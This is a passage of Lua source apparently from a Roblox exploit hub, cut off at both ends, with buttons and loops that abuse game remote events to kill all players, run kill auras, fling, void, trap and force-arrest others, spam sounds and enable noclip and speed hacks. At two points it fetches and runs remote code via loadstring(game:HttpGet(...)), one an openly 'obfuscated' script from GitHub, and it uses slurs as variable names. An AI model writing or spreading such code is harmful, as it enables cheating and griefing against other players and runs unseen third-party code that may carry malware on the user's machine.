savepos, tpback, ArrestLater) if args.TeamColor == BrickColor.new("Really red") then else if args == LocalPlayer then TeamTo("criminal") return end; SavedPositions.MakeCrimPos = savepos and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or nil; SavedPositions.MakeCrimPlr = args.Character:FindFirstChild("HumanoidRootPart").CFrame local timeout = tick() + 10 repeat BringPL(args, CFrame.new(-920.947937, 92.3143158, 2138.05615, 0.997869313, 4.71007233e-08, 0.0652444065, -4.59519711e-08, 1, -1.91075955e-08, -0.0652444065, 1.6068773e-08, 0.997869313), true, nil, true) RTPing(0);RTPing(0) until args.TeamColor == BrickColor.new("Really red") or tick() - timeout >= 0; timeout = nil if ArrestLater then ArrestPL(args) end;if tpback then BringPL(args, SavedPositions.MakeCrimPlr, true); wait(.2) end;if savepos then if LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then LAction("unsit", true) end;LocTP(SavedPositions.MakeCrimPos) end end end Tasks = { ReloadGun = function(arg, arg2) if not arg then return end task.spawn(function() local tool = arg.Name while wait() do local findchild = LocalPlayer.Character:FindFirstChild(tool) or LocalPlayer.Backpack:FindFirstChild(tool) if findchild then if LocalPlayer.Character:FindFirstChild(tool) then Rstorage.ReloadEvent:FireServer(findchild) elseif arg2 then break end else break end end end) end; }; MainFrame.AK.Activated:Connect(function() Gun("AK-47") end) MainFrame.KillGuards.Activated:Connect(function() MultiKill(Teams.Guards) end) MainFrame.BringAll.Activated:Connect(function() for i,v in pairs(Players:GetPlayers()) do if v ~= LocalPlayer then BringPL(v) end end end) MainFrame.KillInmates.Activated:Connect(function() MultiKill(Teams.Inmates) end) MainFrame.UnLKAll.Activated:Connect(function() Loops.KillTeams.All = false end) MainFrame.Keycard.Activated:Connect(function() GiveKeyCard(LocalPlayer) end) MainFrame.SpamSounds.Activated:Connect(function() States.SoundSpam = true; Notif("OK", "Now spamming sounds."); Tasks.SoundSpam() end) MainFrame.Sword.Activated:Connect(function() local classic_sword = Instance.new("Tool") classic_sword.Grip = CFrame.fromMatrix(Vector3.new(0, 0, -1.5), Vector3.new(0, 1, 0), Vector3.new(0, 0, 1), Vector3.new(1, 0, 0)) classic_sword.GripForward = Vector3.new(-1, -0, -0) classic_sword.GripPos = Vector3.new(0, 0, -1.5) classic_sword.GripRight = Vector3.new(0, 1, 0) classic_sword.GripUp = Vector3.new(0, 0, 1) classic_sword.TextureId = "rbxasset://Textures/Sword128.png" classic_sword.WorldPivot = CFrame.fromMatrix(Vector3.new(-114.38774108886719, 24.64931297302246, 83.36888122558594), Vector3.new(0.09104403853416443, 0.5370116829872131, -0.8386485576629639), Vector3.new(-0.8810994625091553, 0.43589484691619873, 0.18346372246742249), Vector3.new(0.46408435702323914, 0.7222291231155396, 0.5128455758094788)) classic_sword.Name = "ClassicSword" classic_sword.Parent = game.Players.LocalPlayer.Backpack local handle = Instance.new("Part") handle.BottomSurface = Enum.SurfaceType.Smooth handle.BrickColor = BrickColor.new(0.38823533058166504, 0.37254902720451355, 0.38431376218795776) handle.CFrame = CFrame.fromMatrix(Vector3.new(-114.44070434570312, 24.240930557250977, 82.50543212890625), Vector3.new(0.09104403853416443, 0.5370116829872131, -0.8386485576629639), Vector3.new(-0.8810994625091553, 0.43589484691619873, 0.18346372246742249), Vector3.new(0.46408435702323914, 0.7222291231155396, 0.5128455758094788)) handle.Color = Color3.new(0.388235, 0.372549, 0.384314) handle.Locked = true handle.Orientation = Vector3.new(-46.23899841308594, 42.143001556396484, 50.933998107910156) handle.Reflectance = 0.4000000059604645 handle.Rotation = Vector3.new(-54.62200164794922, 27.650999069213867, 84.10099792480469) handle.Size = Vector3.new(1, 0.800000011920929, 4) handle.TopSurface = Enum.SurfaceType.Smooth handle.Name = "Handle" handle.Parent = classic_sword local mesh = Instance.new("SpecialMesh") mesh.MeshType = Enum.MeshType.FileMesh mesh.MeshId = "rbxasset://fonts/sword.mesh" mesh.TextureId = "rbxasset://textures/SwordTexture.png" mesh.Parent = handle classic_sword.Activated:Connect(function()local a=game.Players.LocalPlayer local b="74894663"local c=Instance.new("Animation")c.AnimationId="rbxassetid://218504594"..b local a=a.Character.Humanoid:LoadAnimation(c)a:Play()a:AdjustSpeed(2)local c=Instance.new("Sound")c.Parent=handle c.MaxDistance=math.huge c.SoundId="rbxassetid://88633606"c.Volume=2 wait()c:Play()for a,b in pairs(game.Players:GetChildren())do if b.Name~=game.Players.LocalPlayer.Name then for a=1,10 do game.ReplicatedStorage.meleeEvent:FireServer(b)c:Destroy()end end end end) local swing = Instance.new("Animation") swing.AnimationId = "rbxassetid://2954124238" swing.Name = "Swing" swing.Parent = classic_sword local sound = Instance.new("Sound") sound.RollOffMode = Enum.RollOffMode.InverseTapered sound.SoundId = "rbxassetid://935843979" sound.Parent = handle local AnimTrack = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(swing) classic_sword.Activated:Connect(function() AnimTrack:Play() sound:Play() end) end) MainFrame.UnspamSounds.Activated:Connect(function() States.SoundSpam = false; end) MainFrame.Car.Activated:Connect(function() BringCar() end) MainFrame.Btools.Activated:Connect(function() local tool1 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack) local tool2 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack) local tool3 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack) local tool4 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack) local tool5 = Instance.new("HopperBin",game.Players.LocalPlayer.Backpack) tool1.BinType = "Clone" tool2.BinType = "GameTool" tool3.BinType = "Hammer" tool4.BinType = "Script" tool5.BinType = "Grab" end) MainFrame.LKAll.Activated:Connect(function() Loops.KillTeams.All = true; end) MainFrame.KillCrims.Activated:Connect(function() MultiKill(Teams.Criminals) end) MainFrame.Noclip.Activated:Connect(function() Toggles.Noclip = true; end) MainFrame.Criminal.Activated:Connect(function() TeamTo("criminal") end) MainFrame.SuperPunch.Activated:Connect(function() Toggles.Onepunch = true; end) MainFrame.RestoreDoors.Activated:Connect(function() if not Rstorage.Doors then Notif("Doors Already Exist!", nil, 5) end end) MainFrame.InfJumps.Activated:Connect(function() repeat task.wait() until LocalPlayer.Character local Char = LocalPlayer.Character Char.Humanoid:ChangeState("Jumping"); end) MainFrame.FastRUn.Activated:Connect(function() repeat task.wait() until LocalPlayer.Character local Char = LocalPlayer.Character Char.Humanoid.WalkSpeed = 50 end) MainFrame.HighJump.Activated:Connect(function() repeat task.wait() until LocalPlayer.Character local Char = LocalPlayer.Character Char.Humanoid.JumpPower = 80 end) MainFrame.KillAura.Activated:Connect(function() Toggles.MeleeAura = true; end) MainFrame.Guard.Activated:Connect(function() TeamTo("guard") end) MainFrame.Inmate.Activated:Connect(function() TeamTo("inmate") end) MainFrame.Neutral.Activated:Connect(function() TeamEve("Medium stone grey") end) MainFrame.Pistol.Activated:Connect(function() Gun("M9") end) MainFrame.KillAll.Activated:Connect(function() MultiKill(Players) end) MainFrame.Shotgun.Activated:Connect(function() Gun("Remington 870") end) task.spawn(function() local task0 = function() if Loops.KillTeams.All then Gun("AK-47") MultiKill(Players) wait(CPing(nil, true) / 2) else if next(Loops.Kill) then for i,v in next, Loops.Kill do if v and v.Character and not Saved.KillDebounce[v.Name] then if v.Character:FindFirstChild("Humanoid") and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) then Saved.KillDebounce[v.Name] = true coroutine.wrap(function() if RTPing() then Saved.KillDebounce[v.Name] = nil end end)() KillPL(v) deprint("Debug_killed player loopkills") end end end end if Loops.KillTeams.Inmates then if not SavedArgs.KillDebounceInmate then SavedArgs.KillDebounceInmate = true task.delay(0.09, function() RTPing(); SavedArgs.KillDebounceInmate = nil end) MultiKill(Teams.Inmates) end end if Loops.KillTeams.Guards then if not SavedArgs.KillDebounceGuard then SavedArgs.KillDebounceGuard = true task.delay(0.09, function() RTPing(); SavedArgs.KillDebounceGuard = nil end) MultiKill(Teams.Guards) end end if Loops.KillTeams.Criminals then if not SavedArgs.KillDebounceCriminal then SavedArgs.KillDebounceCriminal = true task.delay(0.09, function() RTPing(); SavedArgs.KillDebounceCriminal = nil end) MultiKill(Teams.Criminals) end end if Loops.KillTeams.Neutrals then if not SavedArgs.KillDebounceNeutral then SavedArgs.KillDebounceNeutral = true task.delay(0.35, function() SavedArgs.KillDebounceNeutral = nil end) MultiKill(Teams.Neutral) end end end end while task.wait() do pcall(task0) if Unloaded then break end end end) --Killauras and antitouch task.spawn(function() local task0 = function() local KillPlayers = {}; if next(Powers.Killauras) then for i,v in next, Powers.Killauras do if v.Character then local VHead = v.Character:FindFirstChild("Head") for _, Targets in pairs(Players:GetPlayers()) do if Targets ~= v and Targets.Character and not Targets.Character:FindFirstChildWhichIsA("ForceField") and Targets.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then local THead = Targets.Character:FindFirstChild("Head") if VHead and THead and CheckWhitelist(Targets) and Targets ~= LocalPlayer then if (THead.Position-VHead.Position).Magnitude <= Settings.KillauraThreshold then KillPlayers[#KillPlayers+1] = Targets end end end end end end end if next(Powers.Antitouch) then for i,v in next, Powers.Antitouch do if v.Character and v.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then local VPart = v.Character:FindFirstChildWhichIsA("BasePart") for _, Targets in pairs(Players:GetPlayers()) do if Targets ~= v and Targets.Character and not Targets.Character:FindFirstChildWhichIsA("ForceField") and Targets.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then local TPart = Targets.Character:FindFirstChildWhichIsA("BasePart") if VPart and TPart and CheckWhitelist(Targets) and Targets ~= LocalPlayer then if (TPart.Position-VPart.Position).Magnitude <= 2.5 then KillPlayers[#KillPlayers+1] = Targets end end end end end end end if next(Powers.Antiarrest) then for i,v in next, Powers.Antiarrest do if v.Character and v.TeamColor.Name ~= "Bright blue" then local VPart = v.Character:FindFirstChild("Head") for _, Cunts in pairs(Teams.Guards:GetPlayers()) do if Cunts.Character and Cunts.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 and Cunts ~= LocalPlayer and CheckWhitelist(Cunts) then local CPart = Cunts.Character and Cunts.Character:FindFirstChild("Head") if VPart and CPart then if Cunts.Character:FindFirstChild("Handcuffs") and (CPart.Position-VPart.Position).Magnitude < 20 or Cunts.Character:FindFirstChild("Taser") and (CPart.Position-VPart.Position).Magnitude < 30 then KillPlayers[#KillPlayers+1] = Cunts end end end end end end end if next(Powers.Antipunch) then for i,v in next, Powers.Antipunch do if v.Character then local VPart = v.Character:FindFirstChildWhichIsA("BasePart") for _, Hostiles in pairs(Players:GetPlayers()) do if Hostiles ~= v and Hostiles.Character and not Hostiles.Character:FindFirstChildWhichIsA("ForceField") and Hostiles.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then local HPart = Hostiles.Character:FindFirstChildWhichIsA("BasePart") if VPart and HPart and CheckWhitelist(Hostiles) and Hostiles ~= LocalPlayer then if (HPart.Position-VPart.Position).Magnitude <= 4 then for _, tracks in ipairs(Hostiles.Character:FindFirstChild("Humanoid"):GetPlayingAnimationTracks()) do if table.find(Saved.HostileAnimations, tracks.Animation.AnimationId) then KillPlayers[#KillPlayers+1] = Hostiles break end end end end end end end end end if next(Powers.Onepunch) then for i,v in next, Powers.Onepunch do if v.Character then local waspunching = nil for _, tracks in ipairs(v.Character:FindFirstChildOfClass("Humanoid"):GetPlayingAnimationTracks()) do if tracks.Animation.AnimationId == "rbxassetid://484200742" or tracks.Animation.AnimationId == "rbxassetid://484926359" then waspunching = true break end end if waspunching then local VPart = v.Character:FindFirstChildWhichIsA("BasePart") for _, targets in pairs(Players:GetPlayers()) do if targets ~= v and targets.Character and targets.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 and not targets.Character:FindFirstChildWhichIsA("ForceField") then local TPart = targets.Character:FindFirstChildWhichIsA("BasePart") if VPart and TPart and CheckWhitelist(targets) and targets ~= LocalPlayer then if (VPart.Position-TPart.Position).Magnitude <= 3 then KillPlayers[#KillPlayers+1] = targets break end end end end end end end end if next(Powers.Punchaura) then for i,v in next, Powers.Punchaura do if v.Character then local waspunching = nil for _, track in ipairs(v.Character:FindFirstChild("Humanoid"):GetPlayingAnimationTracks()) do if track.Animation.AnimationId == "rbxassetid://484200742" or track.Animation.AnimationId == "rbxassetid://484926359" then waspunching = true break end end if waspunching then local VHead = v.Character:FindFirstChild("Head") for _, Victims in pairs(Players:GetPlayers()) do if Victims ~= v and Victims.Character and not Victims.Character:FindFirstChildWhichIsA("ForceField") and Victims.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then local VTHead = Victims.Character:FindFirstChild("Head") if VTHead and VHead and CheckWhitelist(Victims) and Victims ~= LocalPlayer then if (VTHead.Position-VHead.Position).Magnitude <= 16 then if Powers.Onepunch[v.UserId] then KillPlayers[#KillPlayers+1] = Victims else if not SavedArgs.PauraDebounce then SavedArgs.PauraDebounce = true task.delay(1, function() SavedArgs.PauraDebounce = nil end) KillPL(Victims, 1, false) end end end end end end end end end end if next(KillPlayers) then TableKill(KillPlayers) end KillPlayers = nil end while task.wait() do pcall(task0) if Unloaded then break end end end) --Loops (Teleport) task.spawn(function() local task0 = function() if Loops.MeleeTeams.All then for i,v in pairs(Players:GetPlayers()) do if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK MeleeKill(v, false) end if not Loops.MeleeTeams.All then break end end end else if next(Loops.MeleeKill) then for i,v in next, Loops.MeleeKill do if v.Character and v.Character:FindFirstChild("Humanoid") then if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK MeleeKill(v) end end end end if Loops.MeleeTeams.Inmates then for i,v in pairs(Teams.Inmates:GetPlayers()) do if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK MeleeKill(v, false) end end if not Loops.MeleeTeams.Inmates then break end end end if Loops.MeleeTeams.Guards then for i,v in pairs(Teams.Guards:GetPlayers()) do if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK MeleeKill(v, false) end end if not Loops.MeleeTeams.Guards then break end end end if Loops.MeleeTeams.Criminals then for i,v in pairs(Teams.Criminals:GetPlayers()) do if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK MeleeKill(v, false) end end if not Loops.MeleeTeams.Criminals then break end end end if Loops.MeleeTeams.Neutrals then for i,v in pairs(Teams.Neutral:GetPlayers()) do if v.Character and v ~= LocalPlayer and CheckWhitelist(v) then if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then SavedPositions.MeleeLK = not SavedPositions.MeleeLK and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.MeleeLK MeleeKill(v, false) end end if not Loops.MeleeTeams.Neutrals then break end end end end if SavedPositions.MeleeLK then LocTP(SavedPositions.MeleeLK); SavedPositions.MeleeLK = nil end if next(Loops.Fling) then for i,v in next, Loops.Fling do if v.Character and v.Character:FindFirstChild("HumanoidRootPart") and v ~= LocalPlayer then if not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.TeamColor == BrickColor.new("Medium stone grey")) and not (v.Character:FindFirstChild("Head").Position.Y > 699 or v.Character:FindFirstChild("Head").Position.Y < 1) then FlingPL(v) end end end end if next(Loops.MakeCrim) then for i,v in next, Loops.MakeCrim do if v.Character and v.TeamColor.Name ~= "Really red" then if not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.TeamColor == BrickColor.new("Medium stone grey")) then if v ~= LocalPlayer then SavedPositions.LoopMakeCrim = not SavedPositions.LoopMakeCrim and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.LoopMakeCrim MakeCrim(v) else TeamTo("criminal"); end end end end if SavedPositions.LoopMakeCrim then LAction("unsit", true); LocTP(SavedPositions.LoopMakeCrim); SavedPositions.LoopMakeCrim = nil end end if next(Loops.Arrest) then for i,v in next, Loops.Arrest do if v.Character and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Head:FindFirstChild("handcuffedGui")) then if v.TeamColor == BrickColor.new("Really red") or (v.TeamColor == BrickColor.new("Bright orange") and GetIllegalReg(v)) then ArrestPL(v, true, false) elseif v.TeamColor.Name ~= "Medium stone grey" then MakeCrim(v, true, false, true) end end end end if Loops.ArrestTeams.Inmate then for i,v in pairs(Teams.Inmates:GetPlayers()) do if v.Character and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Head:FindFirstChild("handcuffedGui")) then SavedPositions.ArrestTeams = not SavedPositions.ArrestTeams and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.ArrestTeams if GetIllegalReg(v) then ArrestPL(v, false, false) else MakeCrim(v, false, false, true) end end end end if Loops.ArrestTeams.Criminal then for i,v in pairs(Teams.Criminals:GetPlayers()) do if v.Character and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Head:FindFirstChild("handcuffedGui")) then SavedPositions.ArrestTeams = not SavedPositions.ArrestTeams and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.ArrestTeams ArrestPL(v, false) end end end if Loops.ArrestTeams.Guard then for i,v in pairs(Teams.Guards:GetPlayers()) do if v.Character and v.Character:FindFirstChild("Humanoid").Health ~= 0 then SavedPositions.ArrestTeams = not SavedPositions.ArrestTeams and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.ArrestTeams MakeCrim(v, false, false, true) end end end if SavedPositions.ArrestTeams then if LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then LAction("unsit", true) end; LocTP(SavedPositions.ArrestTeams); SavedPositions.ArrestTeams = nil end if Loops.AutoArresting.All then for i,v in pairs(Players:GetPlayers()) do if v.Character and v ~= LocalPlayer and CheckWhitelist(v) and v.Character:FindFirstChild("Humanoid").Health ~= 0 then if not v.Character.Head:FindFirstChild("handcuffedGui") then if (v.TeamColor == BrickColor.new("Bright orange") and GetIllegalReg(v)) or v.TeamColor == BrickColor.new("Really red") then SavedPositions.AutoArresting = not SavedPositions.AutoArresting and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.AutoArresting ArrestPL(v, false, false) end end end end else if next(Loops.AutoArresting.Plr) then for i,v in next, Loops.AutoArresting.Plr do if v.Character and not (v == LocalPlayer or v.Character:FindFirstChild("Humanoid").Health == 0) and CheckWhitelist(v) then if not v.Character.Head:FindFirstChild("handcuffedGui") then if (v.TeamColor == BrickColor.new("Bright orange") and GetIllegalReg(v)) or v.TeamColor == BrickColor.new("Really red") then SavedPositions.AutoArresting = not SavedPositions.AutoArresting and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.AutoArresting ArrestPL(v, false, false) end end end end end end if SavedPositions.AutoArresting then LocTP(SavedPositions.AutoArresting); SavedPositions.AutoArresting = nil end if next(Loops.VoidKill) then for i,v in next, Loops.VoidKill do if v.Character and v.Character:FindFirstChild("Head").Position.Y > 1 and v.Character:FindFirstChild("Humanoid").Health ~= 0 and v.TeamColor.Name ~= "Medium stone grey" and not v.Character.Humanoid.Sit then if States.AntiVoid then task.delay(8,function()States.AntiVoid = true;end);States.AntiVoid = false end local tempos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame BringPL(v,CFrame.new(0, -320, 0),true,true);wait(.2);LAction("unsit",true) LocTP(CFrame.new(-190.722427,54.774929,1880.20374,0.007893865,6.46408438e-08,0.999968827,-3.42371038e-08,1,-6.43725926e-08,-0.999968827,-3.37278863e-08,0.007893865)) RTPing();RTPing();RTPing();RTPing();LocTP(tempos) end end end if next(Loops.Trapped) then for i,v in next, Loops.Trapped do if v.Character and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Humanoid.Sit or v.TeamColor.Name == "Medium stone grey") then if v.Character:FindFirstChild("HumanoidRootPart") and (v.Character.HumanoidRootPart.Position-Teleports.trapbuilding.Position).Magnitude > 90 then SavedPositions.TrapPlayerPos = not SavedPositions.TrapPlayerPos and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame or SavedPositions.TrapPlayerPos BringPL(v, Teleports.trapbuilding, true) end end end if SavedPositions.TrapPlayerPos then wait(.2); LAction("unsit", true); LocTP(SavedPositions.TrapPlayerPos); SavedPositions.TrapPlayerPos = nil end end if next(Loops.Voided) then for i,v in next, Loops.Voided do if v.Character and not (v.Character:FindFirstChildOfClass("Humanoid").Health == 0 or v.Character:FindFirstChild("Humanoid").Sit or v.TeamColor.Name == "Medium stone grey") then if v.Character:FindFirstChild("Head") and v.Character.Head.Position.Y < 699 then local tempos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame BringPL(v, CFrame.new(0, 9e9, 0), true, true) wait(.2); Tasks.Refresh(nil, tempos) end end end end if next(Loops.PunchKill) then for i,v in next, Loops.PunchKill do if v.Character and not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChild("Humanoid").Health == 0) then PunchKill(v, 0.1) end end end if next(Loops.CarFling) then for i,v in next, Loops.CarFling do if v.Character then if not (v.TeamColor == BrickColor.new("Medium stone grey") or v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character.Humanoid.Sit) and v.Character:FindFirstChild("Head").Position.Y < 999 then CarFlingPL(v) end end end end end while task.wait() do pcall(task0) if Unloaded then break end end end) loadstring(game:HttpGet('https://gist.githubusercontent.com/devguy100/d072e90c00da292e695b3748c1361499/raw/5e741bf486d8773b97129d48ed98988f6ac942e7/cmdlist.txt'))() --Loops (MeleeAura and stuff) task.spawn(function() local task0 = function() if Toggles.MeleeAura then wait() for i,v in pairs(Players:GetPlayers()) do if v.Character and v ~= LocalPlayer then if not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) and CheckWhitelist(v) then MeleEve(v);task.delay(0,function() MeleEve(v); end) end end end else if Toggles.MeleeTouch then for i,v in pairs(Players:GetPlayers()) do if v ~= LocalPlayer and v.Character and v.Character:FindFirstChildOfClass("Humanoid") then if not (v.Character:FindFirstChildWhichIsA("ForceField") or v.Character:FindFirstChildOfClass("Humanoid").Health == 0) then local VPart, LPart = v.Character:FindFirstChildWhichIsA("BasePart"), LocalPlayer.Character:FindFirstChildWhichIsA("BasePart") if VPart and LPart and CheckWhitelist(v) then if (VPart.Position-LPart.Position).Magnitude <= 2.5 then for i = 1, 5 do MeleEve(v) end end end end end end end if Toggles.AntiPunch then for i,v in pairs(Players:GetPlayers()) do if v ~= LocalPlayer and v.Character and v.Character:FindFirstChild("Humanoid").Health ~= 0 then local VHead, LHead = v.Character:FindFirstChild("Head"), LocalPlayer.Character:FindFirstChild("Head") if VHead and LHead and CheckWhitelist(v) then if (VHead.Position-LHead.Position).Magnitude <= 5 then local VHuman = v.Character:FindFirstChildOfClass("Humanoid") for _, punch in ipairs(VHuman:GetPlayingAnimationTracks()) do if table.find(Saved.HostileAnimations, punch.Animation.AnimationId) then for i = 1, 15 do MeleEve(v) end break end end end end end end end if Toggles.TKA.Guard then for i,v in pairs(Teams.Guards:GetPlayers()) do if v.Character and v ~= LocalPlayer and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) then local LHead, VHead = LocalPlayer.Character:FindFirstChild("Head"), v.Character:FindFirstChild("Head") if LHead and VHead and CheckWhitelist(v) then if (LHead.Position-VHead.Position).Magnitude <= 17 then for i = 1, 7 do MeleEve(v) end end end end end else if Toggles.AntiArrest then for _, PotangIna in pairs(Teams.Guards:GetPlayers()) do if PotangIna.Character and PotangIna ~= LocalPlayer then if PotangIna.Character:FindFirstChild("Handcuffs") and PotangIna.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then local PPart, LPart = PotangIna.Character.PrimaryPart, LocalPlayer.Character.PrimaryPart if PPart and LPart and CheckWhitelist(PotangIna) then if (PPart.Position-LPart.Position).Magnitude <= 20 then for i = 1, 10 do MeleEve(PotangIna) end end end end end end end end if Toggles.TKA.Inmate then for i,v in pairs(Teams.Inmates:GetPlayers()) do if v.Character and v ~= LocalPlayer and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) then local LHead, VHead = LocalPlayer.Character:FindFirstChild("Head"), v.Character:FindFirstChild("Head") if LHead and VHead and CheckWhitelist(v) then if (LHead.Position-VHead.Position).Magnitude <= 17 then for i = 1, 7 do MeleEve(v) end end end end end end if Toggles.TKA.Criminal then for i,v in pairs(Teams.Criminals:GetPlayers()) do if v.Character and v ~= LocalPlayer and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) then local LHead, VHead = LocalPlayer.Character:FindFirstChild("Head"), v.Character:FindFirstChild("Head") if LHead and VHead and CheckWhitelist(v) then if (LHead.Position-VHead.Position).Magnitude <= 17 then for i = 1, 7 do MeleEve(v) end end end end end end if Toggles.TKA.Enemies then for i,v in pairs(Players:GetPlayers()) do if v.Character and v ~= LocalPlayer and not (v.Character:FindFirstChild("Humanoid").Health == 0 or v.Character:FindFirstChildWhichIsA("ForceField")) then if v.TeamColor ~= LocalPlayer.TeamColor then local LHead, VHead = LocalPlayer.Character:FindFirstChild("Head"), v.Character:FindFirstChild("Head") if LHead and VHead and CheckWhitelist(v) then if (LHead.Position-VHead.Position).Magnitude <= 17 then for i = 1, 7 do MeleEve(v) end end end end end end end end end while task.wait() do pcall(task0) if Unloaded then break end end end) --Loops (Non-interfering) task.spawn(function() local task0 = function() if Toggles.AntiBring and not States.IsBringing and LocalPlayer.Character:FindFirstChild("Humanoid").Sit then LAction("unsit") end if States.JumpPower then LAction("jumppw", Saved.JumpPower); end if States.Speeding then LAction("speed", Saved.WalkSpeed) elseif States.Running then if not (LocalPlayer.Character:FindFirstChild("Humanoid").WalkSpeed == Saved.RunSpeed) then LAction("speed", Saved.RunSpeed) end end if States.IsHoldingF then if Toggles.SpamPunch then task.wait();VirtualPunch() end end if Toggles.Noclip then for i,v in pairs(LocalPlayer.Character:GetChildren()) do if v:IsA("BasePart") then v.CanCollide = false end end end end while wait() do game:GetService('StarterGui'):SetCoreGuiEnabled('Backpack', true) if States.RemoveLeaderboard then game:GetService('StarterGui'):SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, false) end pcall(task0) if next(CmdQueue) then if not SavedArgs.QueueExecuted then SavedArgs.QueueExecuted = true coroutine.wrap(function() for i, execute in next, CmdQueue do pcall(execute);wait() CmdQueue[i] = nil;table.remove(CmdQueue, i) end;SavedArgs.QueueExecuted = nil end)() end end if Unloaded then break end end end) end; task.spawn(C_56); return G2L["1"], require; end, }) local Button = MainTab:CreateButton({ Name = "Chaos hub brookhaven", Callback = function() loadstring(game:HttpGet("https://raw.githubusercontent.com/Cat558-uz/Chaos-hub-/refs/heads/main/obfuscated_script-1753037381403.lua.txt"))() local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer -- Lista de moderadores permitidos local Moderadores = { ["kit_cynALT"] = true, ["Juju_dupix1302"] = true, } -- Armazenar tags local Tags = {} local TagsAtivadas = true -- Cria a tag acima da cabeça do jogador local function CriarTag(player) if not player.Character or not player.Character:FindFirstChild("Head") then return end if Tags[player] then return end -- já tem tag local head = player.Character.Head local bill = Instance.new("BillboardGui") bill.Name = "ModeradorTag" bill.Adornee = head bill.Size = UDim2.new(0, 150, 0, 35) -- Aumentado bill.StudsOffset = Vector3.new(0, 3.9, 0) bill.AlwaysOnTop = true bill.MaxDistance = 30 -- Visível de perto local frame = Instance.new("Frame") frame.Size = UDim2.new(1, 0, 1, 0) frame.BackgroundColor3 = Color3.new(0, 0, 0) frame.BackgroundTransparency = 0.2 frame.BorderSizePixel = 0 frame.Parent = bill local corner = Instance.new("UICorner") corner.CornerRadius = UDim.new(0, 8) corner.Parent = frame local label = Instance.new("TextLabel") label.Size = UDim2.new(1, 0, 1, 0) label.BackgroundTransparency = 1 label.Text = ".•° Moderador °○." label.TextColor3 = Color3.fromRGB(100, 200, 255) -- Azul claro label.TextScaled = true label.Font = Enum.Font.GothamBold label.Parent = frame bill.Parent = head Tags[player] = bill end -- Remove a tag de um jogador local function RemoverTag(player) if Tags[player] then Tags[player]:Destroy() Tags[player] = nil end end -- Atualiza todas as tags com base em TagsAtivadas local function AtualizarTags() for _, plr in ipairs(Players:GetPlayers()) do if Moderadores[plr.Name] then if TagsAtivadas then CriarTag(plr) else RemoverTag(plr) end end end end -- Detecta quando o personagem aparecer Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function() wait(1) if TagsAtivadas and 